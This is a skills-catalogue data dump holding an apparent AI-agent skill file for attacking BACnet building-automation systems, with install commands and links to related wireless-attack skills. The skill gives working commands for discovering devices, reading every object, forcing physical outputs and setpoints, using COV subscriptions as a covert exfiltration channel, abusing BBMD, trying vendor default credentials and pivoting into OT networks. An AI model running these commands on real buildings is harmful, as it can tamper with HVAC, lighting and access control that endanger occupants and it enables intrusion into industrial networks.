[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7EJ319FW50PRCSSMTPAVABF":3,"skill-same:01M7EJ319FW50PRCSSMTPAVABF":51},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":30,"commitSha":31,"skillDirectory":32,"forksCount":33,"repositoryHtmlUrl":34,"repositoryHomepageUrl":6,"ownerHtmlUrl":35,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":36,"install":37,"resources":50},"01M7EJ319FW50PRCSSMTPAVABF","ics-bacnet",null,"BACnet\u002FIP attack — UDP\u002F47808 discovery via Who-Is broadcast, ReadProperty \u002F WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot.","a18268941610-crypto\u002FDecepticon-shentou","a18268941610-crypto","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F241464571?v=4","01M7EHA2V2KTCYTX78QJKXCZ8Y","fubai","01M7EHA2VKDD5RCWJJKC0ZA101",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fbacnet\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: ics-bacnet\ndescription: \"BACnet\u002FIP attack — UDP\u002F47808 discovery via Who-Is broadcast, ReadProperty \u002F WriteProperty without auth, BBMD abuse for remote reach, vendor-specific I-Am responses, COV (Change Of Value) subscription flood, Building Automation HMI pivot.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"bacnet bacnet-ip building automation hvac who-is i-am readproperty writeproperty bbmd cov 47808 4660 vendor\"\n  subdomain: ics-ot\n  tags: bacnet, building-automation, hvac, ics\n  mitre_attack: T0855, T0836\n---\n\n# BACnet\u002FIP Attack — Building Automation\n\nBACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP\u002F47808 by default. No authentication in BACnet\u002FIP.\n\n## Discover\n\n```bash\n# Send Who-Is broadcast (BACnet's auto-discovery)\nnmap -sU -p 47808 --script=bacnet-info 10.0.0.0\u002F24\n\n# Or with bacnet-tools (apt: bacnet-stack)\nbacwi                                  # who-is broadcast\nbacrp 1234 8 1 85                      # ReadProperty: device 1234, object analog-value 1, property 85 (present-value)\n\n# bacpypes (Python)\npython3 -c '\nfrom bacpypes.app import BIPSimpleApplication\nfrom bacpypes.core import run, stop\nfrom bacpypes.iocb import IOCB\nfrom bacpypes.local.device import LocalDeviceObject\nfrom bacpypes.apdu import WhoIsRequest\nld = LocalDeviceObject(objectName=\"x\", objectIdentifier=599, vendorIdentifier=15)\napp = BIPSimpleApplication(ld, \"10.0.0.99\")\nreq = WhoIsRequest(); req.pduDestination = (\"10.0.0.255\",47808)\niocb = IOCB(req); app.request_io(iocb)\n# Devices respond with I-Am\n'\n```\n\n## What you get from discovery\n\nEach I-Am response identifies:\n- Device Instance number (PK for that device)\n- Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)\n- Max APDU + Segmentation support\n\nLook up the vendor — vendor-specific objects often expose more (admin override, factory reset, etc.).\n\n## Read everything\n\n```bash\n# Object types to enumerate: analog-input(0), analog-output(1), analog-value(2),\n# binary-input(3), binary-output(4), binary-value(5), device(8), schedule(17), program(16)\n\n# Read all objects on a device:\nbacrpm 1234 8 1 76    # property 76 = object-list\n\n# Each entry: (object-type, instance). Then for each:\nbacrp 1234 0 1 85     # analog-input 1, present-value\n```\n\n## Write attacks\n\n### Override an output (the actual physical effect)\n```bash\n# Force binary-output 5 ON with priority 8 (manual operator)\nbacwp 1234 4 5 85 8 -1 0   # write True at priority 8\n\n# AnalogOutput (e.g., setpoint) to 40°C\nbacwp 1234 1 3 85 8 -1 40.0\n```\n\n### Subscribe to COV — Change Of Value (passive observation w\u002F delivery to attacker)\n```bash\nbacscov 1234 0 1 60    # Subscribe to analog-input 1, 60-sec lifetime\n# Server pushes updates as values change — passive tap on building telemetry\n```\n\n### Broadcast Storm (BBMD abuse)\nBBMD (BACnet Broadcast Management Device) forwards broadcasts across IP subnets. A misconfigured BBMD lets you reach EVERY BACnet device in the org from a single network position:\n\n```bash\n# Send Who-Is with destination = BBMD's broadcast-distribution-table\n# Each device replies with I-Am directly to attacker — fingerprints the whole estate\n```\n\n### Vendor-specific overrides\n- Johnson Controls Metasys: `device.system-status` writable from network → restart device\n- Siemens Apogee: `program-state` writable → halt\u002Frun program objects\n- Honeywell Niagara: web UI on port 80\u002F443 often unauth or default creds (`tridium\u002Ftridium`)\n\n## Pivot from BACnet to OT network\n\nA compromised BACnet controller often has secondary network interfaces:\n- Trunk to RS-485 sensor net (BACnet MS\u002FTP)\n- Modbus to a chiller \u002F VFD\n- LonWorks for older lighting controls\n- KNX for European installations\n\nOnce you control the BACnet gateway, you can tunnel to those sub-protocols.\n\n## OPSEC + safety\n\n- **Building safety**: writes to HVAC setpoints affect physical occupants. Don't change setpoints by >2°C without sign-off; many buildings have safety-system interlocks but not all.\n- COV subscriptions are visible in BACnet IDS (Tridium, Wattics, Siemens Cybertect) but not in network IDS — quiet exfil channel for building telemetry.\n- Logs: BACnet has no audit by default. Some controllers log via Niagara web UI — check that side.\n\n## References\n\n- \"BACnet\u002FIP Vulnerabilities\" — Stephen Hilt, Trend Micro\n- bacpypes docs — github.com\u002FJoelBender\u002Fbacpypes\n- DEFCON 28 ICS Village \"Building Automation Attacks\" — Marc Rogers\n- ASHRAE 135 (the BACnet spec itself — reference what's writable per object type)\n","# BACnet\u002FIP Attack — Building Automation\n\nBACnet runs HVAC, lighting, access control, elevators in commercial buildings. UDP\u002F47808 by default. No authentication in BACnet\u002FIP.\n\n## Discover\n\n```bash\n# Send Who-Is broadcast (BACnet's auto-discovery)\nnmap -sU -p 47808 --script=bacnet-info 10.0.0.0\u002F24\n\n# Or with bacnet-tools (apt: bacnet-stack)\nbacwi                                  # who-is broadcast\nbacrp 1234 8 1 85                      # ReadProperty: device 1234, object analog-value 1, property 85 (present-value)\n\n# bacpypes (Python)\npython3 -c '\nfrom bacpypes.app import BIPSimpleApplication\nfrom bacpypes.core import run, stop\nfrom bacpypes.iocb import IOCB\nfrom bacpypes.local.device import LocalDeviceObject\nfrom bacpypes.apdu import WhoIsRequest\nld = LocalDeviceObject(objectName=\"x\", objectIdentifier=599, vendorIdentifier=15)\napp = BIPSimpleApplication(ld, \"10.0.0.99\")\nreq = WhoIsRequest(); req.pduDestination = (\"10.0.0.255\",47808)\niocb = IOCB(req); app.request_io(iocb)\n# Devices respond with I-Am\n'\n```\n\n## What you get from discovery\n\nEach I-Am response identifies:\n- Device Instance number (PK for that device)\n- Vendor ID (Honeywell=24, Siemens=7, Schneider=10, Johnson Controls=5, ...)\n- Max APDU + Segmentation support\n\nLook up the vendor — vendor-specific objects often expose more (admin override, factory reset, etc.).\n\n## Read everything\n\n```bash\n# Object types to enumerate: analog-input(0), analog-output(1), analog-value(2),\n# binary-input(3), binary-output(4), binary-value(5), device(8), schedule(17), program(16)\n\n# Read all objects on a device:\nbacrpm 1234 8 1 76    # property 76 = object-list\n\n# Each entry: (object-type, instance). Then for each:\nbacrp 1234 0 1 85     # analog-input 1, present-value\n```\n\n## Write attacks\n\n### Override an output (the actual physical effect)\n```bash\n# Force binary-output 5 ON with priority 8 (manual operator)\nbacwp 1234 4 5 85 8 -1 0   # write True at priority 8\n\n# AnalogOutput (e.g., setpoint) to 40°C\nbacwp 1234 1 3 85 8 -1 40.0\n```\n\n### Subscribe to COV — Change Of Value (passive observation w\u002F delivery to attacker)\n```bash\nbacscov 1234 0 1 60    # Subscribe to analog-input 1, 60-sec lifetime\n# Server pushes updates as values change — passive tap on building telemetry\n```\n\n### Broadcast Storm (BBMD abuse)\nBBMD (BACnet Broadcast Management Device) forwards broadcasts across IP subnets. A misconfigured BBMD lets you reach EVERY BACnet device in the org from a single network position:\n\n```bash\n# Send Who-Is with destination = BBMD's broadcast-distribution-table\n# Each device replies with I-Am directly to attacker — fingerprints the whole estate\n```\n\n### Vendor-specific overrides\n- Johnson Controls Metasys: `device.system-status` writable from network → restart device\n- Siemens Apogee: `program-state` writable → halt\u002Frun program objects\n- Honeywell Niagara: web UI on port 80\u002F443 often unauth or default creds (`tridium\u002Ftridium`)\n\n## Pivot from BACnet to OT network\n\nA compromised BACnet controller often has secondary network interfaces:\n- Trunk to RS-485 sensor net (BACnet MS\u002FTP)\n- Modbus to a chiller \u002F VFD\n- LonWorks for older lighting controls\n- KNX for European installations\n\nOnce you control the BACnet gateway, you can tunnel to those sub-protocols.\n\n## OPSEC + safety\n\n- **Building safety**: writes to HVAC setpoints affect physical occupants. Don't change setpoints by >2°C without sign-off; many buildings have safety-system interlocks but not all.\n- COV subscriptions are visible in BACnet IDS (Tridium, Wattics, Siemens Cybertect) but not in network IDS — quiet exfil channel for building telemetry.\n- Logs: BACnet has no audit by default. Some controllers log via Niagara web UI — check that side.\n\n## References\n\n- \"BACnet\u002FIP Vulnerabilities\" — Stephen Hilt, Trend Micro\n- bacpypes docs — github.com\u002FJoelBender\u002Fbacpypes\n- DEFCON 28 ICS Village \"Building Automation Attacks\" — Marc Rogers\n- ASHRAE 135 (the BACnet spec itself — reference what's writable per object type)\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"bacnet, building-automation, hvac, ics","ics-ot","bacnet bacnet-ip building automation hvac who-is i-am readproperty writeproperty bbmd cov 47808 4660 vendor","T0855, T0836","Bash Read Write","main","d6bfd87ad9f910cfff715da04c804638990a8538","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fbacnet",1,"https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto","2026-10-12 03:35:17",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add a18268941610-crypto\u002FDecepticon-shentou --skill ics-bacnet",{"tool":43,"command":44},"bunx","bunx skills add a18268941610-crypto\u002FDecepticon-shentou --skill ics-bacnet",{"tool":46,"command":47},"pnpm","pnpm dlx skills add a18268941610-crypto\u002FDecepticon-shentou --skill ics-bacnet","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fics-ot\u002Fbacnet\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M7EJXTEFYQPHY32431RWJENT","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M7EJXHKBXYF3QSYNW5YSK10H","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7EJXAC5W1C1MACKKP1RRT8K","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7EJX02A5FFBM2V7VG52GNSK","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7EJWNRRMBRZQTKH3VFYAK58","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7EJWB0CC58R8Z4HW6YRQCZW","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fa18268941610-crypto\u002FDecepticon-shentou\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]